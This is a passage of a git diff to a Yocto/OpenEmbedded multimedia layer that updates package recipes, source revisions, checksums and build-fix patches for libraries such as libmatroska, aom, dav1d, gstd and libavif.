-LICENSE = "LGPL-2.1-only"
-LIC_FILES_CHKSUM = "file://LICENSE.LGPL;md5=4fbd65380cdd255951079008b364516c"
-
-DEPENDS = "libebml"
-
-SRC_URI = "http://dl.matroska.org/downloads/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://0001-Makefile-Use-LINKFLAGS-during-link-step.patch \
- "
-SRC_URI[md5sum] = "f61b2e5086f4bb9d24a43cc8af43a719"
-SRC_URI[sha256sum] = "086f21873e925679babdabf793c3bb85c353d0cd79423543a3355e08e8a4efb7"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS="
-
-do_compile() {
- cd ${S}/make/linux
- oe_runmake CROSS="${TARGET_PREFIX}"
-}
-
-do_install() {
- cd ${S}/make/linux
-
- install -d ${D}${libdir}
- install -m 0644 libmatroska.a ${D}${libdir}
- install -m 0755 libmatroska.so.* ${D}${libdir}
- cp -R --no-dereference --preserve=mode,links -v libmatroska.so ${D}${libdir}
-
- install -d ${D}${includedir}/matroska
- for i in ../../matroska/*.h; do
- install -m 0644 $i ${D}${includedir}/matroska
- done
-
- install -d ${D}${includedir}/matroska/c
- for i in ../../matroska/c/*.h; do
- install -m 0644 $i ${D}${includedir}/matroska/c
- done
-}
diff --git a/meta-openembedded/meta-multimedia/recipes-mkv/libmatroska/libmatroska_1.7.1.bb b/meta-openembedded/meta-multimedia/recipes-mkv/libmatroska/libmatroska_1.7.1.bb
new file mode 100644
index 0000000000..16862e690e
--- /dev/null
+++ b/meta-openembedded/meta-multimedia/recipes-mkv/libmatroska/libmatroska_1.7.1.bb
@@ -0,0 +1,16 @@
+SUMMARY = "C++ library to parse and create Matroska files(.mkv and .mka)"
+HOMEPAGE = "https://github.com/Matroska-Org/libmatroska"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://LICENSE.LGPL;md5=4fbd65380cdd255951079008b364516c"
+
+DEPENDS = "libebml"
+
+SRC_URI = "git://github.com/Matroska-Org/libmatroska.git;branch=v1.x;protocol=https"
+SRCREV = "f5315fddda2d434e47035c038549a808d8b8eac7"
+
+S = "${WORKDIR}/git"
+
+inherit pkgconfig cmake
+
+#Static library enabled by default. It has been added in case you want to use it dynamically.
+#EXTRA_OECMAKE = "-DBUILD_SHARED_LIBS=ON"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/aom/aom_3.6.1.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/aom/aom_3.7.0.bb
index 45dd487f30..776dfa8783 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/aom/aom_3.6.1.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/aom/aom_3.7.0.bb
@@ -5,7 +5,7 @@ LICENSE = "BSD-2-Clause & AOM-Patent-License-1.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=6ea91368c1bbdf877159435572b931f5 \
file://PATENTS;md5=a111d47497d3bb49e04eef71377eb8ba \
"
-SRCREV = "7ade96172b95adc91a5d85bf80c90989cd543ee8"
+SRCREV = "6054fae218eda6e53e1e3b4f7ef0fff4877c7bf1"
SRC_URI = "git://aomedia.googlesource.com/aom;protocol=https;branch=main \
file://0001-subpel_variance_neon-Provide-prototypes-for-missing-.patch"
@@ -20,8 +20,8 @@ EXTRA_OECMAKE = "-DBUILD_SHARED_LIBS=1 -DENABLE_TESTS=0 \
"
CMAKE_VERBOSE = "VERBOSE=1"
CFLAGS:append:libc-musl = " -D_GNU_SOURCE"
-EXTRA_OECMAKE:append:arm = " ${@bb.utils.contains("TUNE_FEATURES","neon","-DENABLE_NEON=ON","-DENABLE_NEON=OFF",d)}"
+EXTRA_OECMAKE:append:arm = " -DENABLE_NEON=OFF"
do_generate_toolchain_file:append() {
- echo "set(AOM_AS_FLAGS --debug-prefix-map ${S}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR})" >> ${WORKDIR}/toolchain.cmake
+ echo "set(AOM_AS_FLAGS --debug-prefix-map ${S}=${TARGET_DBGSRC_DIR})" >> ${WORKDIR}/toolchain.cmake
}
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/dav1d/dav1d_1.2.0.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/dav1d/dav1d_1.3.0.bb
index 5d43921b03..2d5049b9ae 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/dav1d/dav1d_1.2.0.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/dav1d/dav1d_1.3.0.bb
@@ -7,7 +7,7 @@ LICENSE = "BSD-2-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=c8055cfe7548dfdaa3a6dc45d8793669"
SRC_URI = "git://code.videolan.org/videolan/dav1d.git;protocol=https;branch=master"
-SRCREV = "676a864a11af2c0522e1f992e770589543894686"
+SRCREV = "48035599cdd4e4415732e408c407e0c1cd1c7444"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-connector-dbus_0.3.0.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-connector-dbus_0.3.0.bb
index 033854f19e..bed5af9bf3 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-connector-dbus_0.3.0.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-connector-dbus_0.3.0.bb
@@ -16,3 +16,5 @@ inherit autotools pkgconfig
FILES:${PN} += "${libdir}/dleyna-1.0/connectors/*.so"
FILES:${PN}-dev += "${libdir}/dleyna-1.0/connectors/*.la"
FILES:${PN}-dbg += "${libdir}/dleyna-1.0/connectors/.debug/*.so"
+
+SKIP_RECIPE[dleyna-connector-dbus] ?= "Upstream is dead moreover needs porting to work with latest gupnp >= 1.2"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-core_0.6.0.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-core_0.6.0.bb
index eafbb50db4..8aaab7893e 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-core_0.6.0.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-core_0.6.0.bb
@@ -11,10 +11,12 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
DEPENDS = "glib-2.0 gupnp"
-PV .= "+git${SRCPV}"
+PV .= "+git"
SRC_URI = "git://github.com/01org/${BPN}.git;branch=master;protocol=https"
SRCREV = "1c6853f5bc697dc0a8774fd70dbc915c4dbe7c5b"
S = "${WORKDIR}/git"
inherit autotools pkgconfig
+
+SKIP_RECIPE[dleyna-core] ?= "Upstream is dead moreover needs porting to work with latest gupnp >= 1.2"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-renderer_0.6.0.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-renderer_0.6.0.bb
index e7f918333a..a385a50de7 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-renderer_0.6.0.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-renderer_0.6.0.bb
@@ -23,3 +23,5 @@ CFLAGS += " -I${S}"
FILES:${PN} += "${datadir}/dbus-1"
FILES:${PN}-dev += "${libdir}/${BPN}/*.so"
+
+SKIP_RECIPE[dleyna-renderer] ?= "Upstream is dead moreover needs porting to work with latest gupnp >= 1.2"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-server_0.6.0.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-server_0.6.0.bb
index 071379758c..719aecede1 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-server_0.6.0.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-server_0.6.0.bb
@@ -20,3 +20,5 @@ inherit autotools pkgconfig
FILES:${PN} += "${datadir}/dbus-1"
FILES:${PN}-dev += "${libdir}/${BPN}/*.so"
+
+SKIP_RECIPE[dleyna-server] ?= "Upstream is dead moreover needs porting to work with latest gupnp >= 1.2"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/fdk-aac/fdk-aac_2.0.1.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/fdk-aac/fdk-aac_2.0.2.bb
index c499119c6f..55475b40f1 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/fdk-aac/fdk-aac_2.0.1.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/fdk-aac/fdk-aac_2.0.2.bb
@@ -12,7 +12,7 @@ LICENSE_FLAGS = "commercial"
LIC_FILES_CHKSUM = "file://NOTICE;md5=5985e1e12f4afa710d64ed7bfd291875"
SRC_URI = "git://github.com/mstorsjo/fdk-aac.git;protocol=https;branch=master"
-SRCREV = "d387d3b6ed79ff9a82c60440bdd86e6e5e324bec"
+SRCREV = "801f67f671929311e0c9952c5f92d6e147c7b003"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/fluidsynth/fluidsynth_git.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/fluidsynth/fluidsynth_2.3.4.bb
index a1083af56d..dc05832e80 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/fluidsynth/fluidsynth_git.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/fluidsynth/fluidsynth_2.3.4.bb
@@ -4,19 +4,18 @@ SECTION = "libs/multimedia"
LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=fc178bcd425090939a8b634d1d6a9594"
-SRC_URI = "git://github.com/FluidSynth/fluidsynth.git;branch=master;protocol=https"
-SRCREV = "4d8fe638e1a48660a4c843d493f69a86579e12f0"
-S = "${WORKDIR}/git"
-PV = "2.3.2"
-
-inherit cmake pkgconfig lib_package
-
DEPENDS = "glib-2.0"
-SRC_URI += " \
+SRC_URI = " \
+ git://github.com/FluidSynth/fluidsynth.git;branch=master;protocol=https \
file://0002-fluid_synth_nwrite_float-Allow-zero-pointer-for-left.patch \
file://0003-Use-ARM-NEON-accelaration-for-float-multithreaded-se.patch \
"
+SRCREV = "5ecdc4568e45123216c6888892caad07918ef127"
+
+S = "${WORKDIR}/git"
+
+inherit cmake pkgconfig lib_package
EXTRA_OECMAKE = "-Denable-floats=ON -DLIB_SUFFIX=${@d.getVar('baselib').replace('lib', '')}"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/gerbera/gerbera/0001-Fix-build-with-fmt-9.0.patch b/meta-openembedded/meta-multimedia/recipes-multimedia/gerbera/gerbera/0001-Fix-build-with-fmt-9.0.patch
deleted file mode 100644
index bb8e438304..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/gerbera/gerbera/0001-Fix-build-with-fmt-9.0.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From d7b8fafbc94405c20753fed569abd8878cccde89 Mon Sep 17 00:00:00 2001
-From: Felix Yan <felixonmars@archlinux.org>
-Date: Fri, 19 Aug 2022 15:22:10 +0300
-Subject: [PATCH] Fix build with fmt 9.0
-
-Fixes #2681
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/database/sql_format.h | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/database/sql_format.h b/src/database/sql_format.h
-index 32dc00ef..e4e1909a 100644
---- a/src/database/sql_format.h
-+++ b/src/database/sql_format.h
-@@ -42,7 +42,7 @@ struct SQLIdentifier {
- template <>
- struct fmt::formatter<SQLIdentifier> : formatter<std::string_view> {
- template <typename FormatContext>
-- auto format(const SQLIdentifier& tn, FormatContext& ctx) -> decltype(ctx.out())
-+ auto format(const SQLIdentifier& tn, FormatContext& ctx) const -> decltype(ctx.out())
- {
- return format_to(ctx.out(), "{}{}{}", tn.quote_begin, tn.name, tn.quote_end);
- }
-@@ -61,7 +61,7 @@ struct ColumnUpdate {
- template <>
- struct fmt::formatter<ColumnUpdate> : formatter<std::string_view> {
- template <typename FormatContext>
-- auto format(const ColumnUpdate& a, FormatContext& ctx) -> decltype(ctx.out())
-+ auto format(const ColumnUpdate& a, FormatContext& ctx) const -> decltype(ctx.out())
- {
- return format_to(ctx.out(), "{} = {}", a.column, a.value);
- }
---
-2.38.0.rc1.362.ged0d419d3c-goog
-
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/gerbera/gerbera_1.11.0.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/gerbera/gerbera_1.12.1.bb
index 2a6d328711..89cc51e0ea 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/gerbera/gerbera_1.11.0.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/gerbera/gerbera_1.12.1.bb
@@ -4,11 +4,10 @@ LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://LICENSE.md;md5=25cdec9afe3f1f26212ead6bd2f7fac8"
SRC_URI = "git://github.com/gerbera/gerbera.git;protocol=https;branch=master \
- file://0001-Fix-build-with-fmt-9.0.patch \
file://0001-Fix-build-against-fmt-10.patch \
"
-SRCREV = "d73d8c1346213d784753c02ea771970500e0df2a"
+SRCREV = "559e1d1a92f5977ce8cff7393aa85330dbf2d1d6"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gst-shark_git.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gst-shark_0.8.1.bb
index 4e50897de6..8a839e0d10 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gst-shark_git.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gst-shark_0.8.1.bb
@@ -2,35 +2,33 @@ SUMMARY = "Gst-Shark Tracers"
DESCRIPTION = "Benchmarks and profiling tools for GStreamer"
HOMEPAGE = "https://developer.ridgerun.com/wiki/index.php?title=GstShark"
SECTION = "multimedia"
-LICENSE = "GPL-2.0-or-later"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=e1caa368743492879002ad032445fa97"
DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad "
SRCBRANCH ?= "master"
-PV = "0.7.3.1"
-
-SRCREV_base = "5413ef5475e5b70476c2480a75ca3746d91d4caf"
+SRCREV = "09ba05865dacd2824b5b40ab75a4b9545fcc1366"
SRCREV_common = "b64f03f6090245624608beb5d2fff335e23a01c0"
-SRCREV_FORMAT = "base_common"
+SRCREV_FORMAT = "default_common"
SRC_URI = " \
- git://github.com/RidgeRun/gst-shark.git;protocol=https;branch=${SRCBRANCH};name=base \
- git://gitlab.freedesktop.org/gstreamer/common.git;protocol=https;destsuffix=git/common;name=common;;branch=master \
+ git://github.com/RidgeRun/gst-shark.git;protocol=https;branch=${SRCBRANCH} \
+ git://gitlab.freedesktop.org/gstreamer/common.git;protocol=https;branch=master;destsuffix=git/common;name=common \
file://0001-tracers-Fix-buffer-overflow.patch \
- "
+"
S = "${WORKDIR}/git"
EXTRA_OECONF += " \
- --disable-graphviz \
- --enable-gtk-doc=no \
+ --disable-graphviz \
+ --enable-gtk-doc=no \
"
FILES:${PN} += "\
- ${libdir}/gstreamer-1.0/libgstsharktracers.so \
- ${libdir}/gstreamer-1.0/libgstsharktracers.la \
+ ${libdir}/gstreamer-1.0/libgstsharktracers.so \
+ ${libdir}/gstreamer-1.0/libgstsharktracers.la \
"
inherit autotools gettext pkgconfig
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gstd/0001-gstd-yocto-compatibility.patch b/meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gstd/0001-gstd-yocto-compatibility.patch
deleted file mode 100644
index 64fd578a96..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gstd/0001-gstd-yocto-compatibility.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-From eaf51d6420c63713f62025583681007c3502d387 Mon Sep 17 00:00:00 2001
-From: Carlos <carlos.rodriguez@ridgerun.com>
-Date: Fri, 15 Dec 2017 10:14:05 -0600
-Subject: [PATCH] gstd:yocto compatibility
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gstd/Makefile.am | 2 +-
- 3 files changed, 9 insertions(+), 3 deletions(-)
-
---- a/gstd/Makefile.am
-+++ b/gstd/Makefile.am
-@@ -74,7 +74,7 @@ gstd_CFLAGS = $(GST_CFLAGS) \
- -DGSTD_LOG_STATE_DIR=\"$(gstdlogstatedir)\" \
- -DGSTD_RUN_STATE_DIR=\"$(gstdrunstatedir)\"
-
--gstd_LDFLAGS = $(GST_LIBS) $(GIO_LIBS) $(GIO_UNIX_LIBS) $(GJSON_LIBS) $(LIBD_LIBS) -Wl,-rpath -Wl,$(libdir)
-+gstd_LDFLAGS = $(GST_LIBS) $(GIO_LIBS) $(GIO_UNIX_LIBS) $(GJSON_LIBS) $(LIBD_LIBS)
- gstd_LDADD = libgstd-core.la
-
- gstdincludedir = $(includedir)/gstd
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gstd_git.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gstd_git.bb
index 38fafe82e4..88acdb190e 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gstd_git.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gstd_git.bb
@@ -2,26 +2,27 @@ DESCRIPTION = "Gstreamer Daemon"
SUMMARY = "GStreamer framework for controlling audio and video streaming using TCP connection messages"
HOMEPAGE = "https://developer.ridgerun.com/wiki/index.php?title=Gstd-1.0"
SECTION = "multimedia"
-LICENSE = "GPL-2.0-or-later"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c71b653a0f608a58cdc5693ae57126bc"
-DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad gstreamer1.0-rtsp-server json-glib libdaemon jansson"
+DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad gstreamer1.0-rtsp-server json-glib libdaemon libsoup-2.4 jansson"
SRCBRANCH ?= "master"
-SRCREV = "a6621a5778b234651aa2adbbe304d906a3fa64d1"
-SRC_URI = "git://git@github.com/RidgeRun/gstd-1.x.git;protocol=https;branch=${SRCBRANCH} \
- file://0001-gstd-yocto-compatibility.patch \
- "
+SRCREV = "a011affa67f240cbc7aaff5b00fdfd6124bdaece"
+SRC_URI = "git://git@github.com/RidgeRun/gstd-1.x.git;protocol=https;branch=${SRCBRANCH}"
S = "${WORKDIR}/git"
# Remove the +really when upstream version is > 1.0
-PV = "1.0+really0.8.0"
+PV = "1.0+really0.15.0"
-inherit autotools pkgconfig gettext gtk-doc
+GTKDOC_MESON_OPTION = "enable-gtk-doc"
+
+inherit meson pkgconfig gettext gtk-doc systemd python3native python3-dir python3targetconfig
do_install:append() {
- rmdir ${D}${localstatedir}/run/${BPN} ${D}${localstatedir}/run \
- ${D}${localstatedir}/log/${BPN} ${D}${localstatedir}/log
+ rmdir ${D}${root_prefix}${localstatedir}/run/${BPN} ${D}${root_prefix}${localstatedir}/run \
+ ${D}${root_prefix}${localstatedir}/log/${BPN} ${D}${root_prefix}${localstatedir}/log \
+ ${D}${root_prefix}${localstatedir}
rm -f ${D}${bindir}/gst-client ${D}${bindir}/gstd-client
if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
install -d ${D}${sysconfdir}/tmpfiles.d
@@ -33,3 +34,9 @@ do_install:append() {
ln -sf gst-client-1.0 ${D}${bindir}/gst-client
ln -sf gst-client-1.0 ${D}${bindir}/gstd-client
}
+PACKAGES =+ "${PN}-python"
+
+FILES:${PN} += "${systemd_user_unitdir}"
+FILES:${PN}-python = "${PYTHON_SITEPACKAGES_DIR}/*"
+
+SYSTEMD_SERVICE:${PN} = "gstd.service"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/juce/projucer.inc b/meta-openembedded/meta-multimedia/recipes-multimedia/juce/projucer.inc
index feb3564633..b60cba1dd6 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/juce/projucer.inc
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/juce/projucer.inc
@@ -18,7 +18,8 @@ DEPENDS:append:libc-musl = " libexecinfo"
SRCREV = "2f980209cc4091a4490bb1bafc5d530f16834e58"
BRANCH = "master"
SRC_URI = "git://github.com/WeAreROLI/JUCE.git;protocol=https;branch=${BRANCH} \
-"
+ file://0001-StandardHeader-Include-utility-for-GCC-12-compatibil.patch \
+ "
S = "${WORKDIR}/git"
PV = "6.1.6"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/juce/projucer/0001-StandardHeader-Include-utility-for-GCC-12-compatibil.patch b/meta-openembedded/meta-multimedia/recipes-multimedia/juce/projucer/0001-StandardHeader-Include-utility-for-GCC-12-compatibil.patch
new file mode 100644
index 0000000000..3efef247ae
--- /dev/null
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/juce/projucer/0001-StandardHeader-Include-utility-for-GCC-12-compatibil.patch
@@ -0,0 +1,21 @@
+From 85822fcb87dd531d5e8ed1c8230c67bddb56f66d Mon Sep 17 00:00:00 2001
+From: reuk <reuk@users.noreply.github.com>
+Date: Wed, 6 Apr 2022 15:43:09 +0100
+Subject: [PATCH] StandardHeader: Include <utility> for GCC 12 compatibility
+
+Upstream-Status: Backport [https://github.com/juce-framework/JUCE/commit/ce8aff22c31c4d932a8414bc6f6185381dc970db]
+Signed-off-by: Yoann Congal <yoann.congal@smile.fr>
+---
+ modules/juce_core/system/juce_StandardHeader.h | 1 +
+ 1 file changed, 1 insertion(+)
+
+--- a/modules/juce_core/system/juce_StandardHeader.h
++++ b/modules/juce_core/system/juce_StandardHeader.h
+@@ -64,6 +64,7 @@
+ #include <typeindex>
+ #include <unordered_map>
+ #include <unordered_set>
++#include <utility>
+ #include <vector>
+ #include <set>
+
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/libavif/libavif_0.11.1.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/libavif/libavif_1.0.1.bb
index f01024e8aa..885758b6a4 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/libavif/libavif_0.11.1.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/libavif/libavif_1.0.1.bb
@@ -4,10 +4,10 @@ SECTION = "libs"
LICENSE = "BSD-2-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=c528b75b07425b5c1d2e34de98c397b5"
-SRC_URI = "git://github.com/AOMediaCodec/libavif.git;protocol=https;branch=main"
+SRC_URI = "git://github.com/AOMediaCodec/libavif.git;protocol=https;branch=v1.0.x"
S = "${WORKDIR}/git"
-SRCREV = "6ab53189045e7a6fe0bd93d14977b2a4f8efa5e9"
+SRCREV = "d1c26facaf5a8a97919ceee06814d05d10e25622"
DEPENDS = "dav1d"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/libdc1394/libdc1394_2.2.6.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/libdc1394/libdc1394_2.2.7.bb
index 952ba603ba..8cac780d64 100755
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/libdc1394/libdc1394_2.2.6.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/libdc1394/libdc1394_2.2.7.bb
@@ -14,8 +14,7 @@ DEPENDS += "libusb1 libraw1394 libsdl \
SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.gz \
file://install_examples.patch \
"
-SRC_URI[md5sum] = "9fad67bbff08fe2818d5ec81802ec89f"
-SRC_URI[sha256sum] = "2b905fc9aa4eec6bdcf6a2ae5f5ba021232739f5be047dec8fe8dd6049c10fed"
+SRC_URI[sha256sum] = "537ceb78dd3cef271a183f4a176191d1cecf85f025520e6bd3758b0e19e6609f"
inherit autotools pkgconfig
EXTRA_OECONF += "--disable-doxygen-doc --disable-examples"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/libde265/libde265_1.0.5.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/libde265/libde265_1.0.12.bb
index d0ecd04f16..3c9f899491 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/libde265/libde265_1.0.5.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/libde265/libde265_1.0.12.bb
@@ -8,8 +8,10 @@ LICENSE = "LGPL-3.0-only & MIT"
LICENSE_FLAGS = "commercial"
LIC_FILES_CHKSUM = "file://COPYING;md5=695b556799abb2435c97a113cdca512f"
-SRC_URI = "https://github.com/strukturag/libde265/releases/download/v${PV}/${BPN}-${PV}.tar.gz"
-SRC_URI[sha256sum] = "e3f277d8903408615a5cc34718b391b83c97c646faea4f41da93bac5ee08a87f"
+SRC_URI = "git://github.com/strukturag/libde265.git;branch=master;protocol=https"
+SRCREV = "a267c84707ab264928fa9b86de2ee749c48c318c"
+
+S = "${WORKDIR}/git"
EXTRA_OECONF = "--disable-sherlock265 --disable-dec265"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/libdvbpsi/libdvbpsi_1.3.0.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/libdvbpsi/libdvbpsi_1.3.3.bb
index 5ca146792c..719fbf91e6 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/libdvbpsi/libdvbpsi_1.3.0.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/libdvbpsi/libdvbpsi_1.3.3.bb
@@ -6,7 +6,6 @@ LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
SRC_URI = "http://download.videolan.org/pub/libdvbpsi/${PV}/libdvbpsi-${PV}.tar.bz2"
-SRC_URI[md5sum] = "2b217039a1299000c39423441f77e76a"
-SRC_URI[sha256sum] = "a2fed1d11980662f919bbd1f29e2462719e0f6227e1a531310bd5a706db0a1fe"
+SRC_URI[sha256sum] = "02b5998bcf289cdfbd8757bedd5987e681309b0a25b3ffe6cebae599f7a00112"
inherit autotools
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/libopenmpt/libopenmpt_0.6.2.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/libopenmpt/libopenmpt_0.7.3.bb
index 47173d71d5..92f33da899 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/libopenmpt/libopenmpt_0.6.2.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/libopenmpt/libopenmpt_0.7.3.bb
@@ -7,15 +7,15 @@ HOMEPAGE = "https://lib.openmpt.org/libopenmpt/"
SECTION = "libs"
LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=ae09d6164bdecb499183479fd32b66fb"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=59f6e21f42e49919617267ff13a0b232"
DEPENDS = "virtual/libiconv"
SRC_URI = "https://lib.openmpt.org/files/libopenmpt/src/libopenmpt-${PV}+release.autotools.tar.gz \
file://run-ptest \
"
-SRC_URI[md5sum] = "d21fb799695cbe10a1e9aeaea23ed708"
-SRC_URI[sha256sum] = "50c0d62ff2d9afefa36cce9f29042cb1fb8d4f0b386b81a0fc7734f35e21e6b6"
+
+SRC_URI[sha256sum] = "2cf8369b7916b09264f3f14b9fb6cef35a6e9bee0328dec4f49d98211ccfd722"
S = "${WORKDIR}/libopenmpt-${PV}+release.autotools"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/libuvc/libuvc.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/libuvc/libuvc_0.0.7.bb
index 464b1dc23e..b1572b32ac 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/libuvc/libuvc.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/libuvc/libuvc_0.0.7.bb
@@ -3,11 +3,11 @@ HOMEPAGE = "https://github.com/libuvc/libuvc.git"
SECTION = "libs"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=2f1963e0bb88c93463af750daf9ba0c2"
+
DEPENDS = "libusb jpeg"
SRC_URI = "git://github.com/libuvc/libuvc.git;branch=master;protocol=https"
-SRCREV = "ad6c72a4e390367f0d2be81aac00cfc0b6680d74"
-PV = "v0.0.6+git${SRCPV}"
+SRCREV = "68d07a00e11d1944e27b7295ee69673239c00b4b"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/0001-SndfileDecoderPlugin-Fix-type-mismatch-for-std-span.patch b/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/0001-SndfileDecoderPlugin-Fix-type-mismatch-for-std-span.patch
deleted file mode 100644
index 37aa448e95..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/0001-SndfileDecoderPlugin-Fix-type-mismatch-for-std-span.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From f2fbfeeb9c4ff7aa9ba4b95604ee0fb14ecec763 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 17 May 2023 17:54:09 -0700
-Subject: [PATCH] SndfileDecoderPlugin: Fix type mismatch for std::span
-
-Fixes
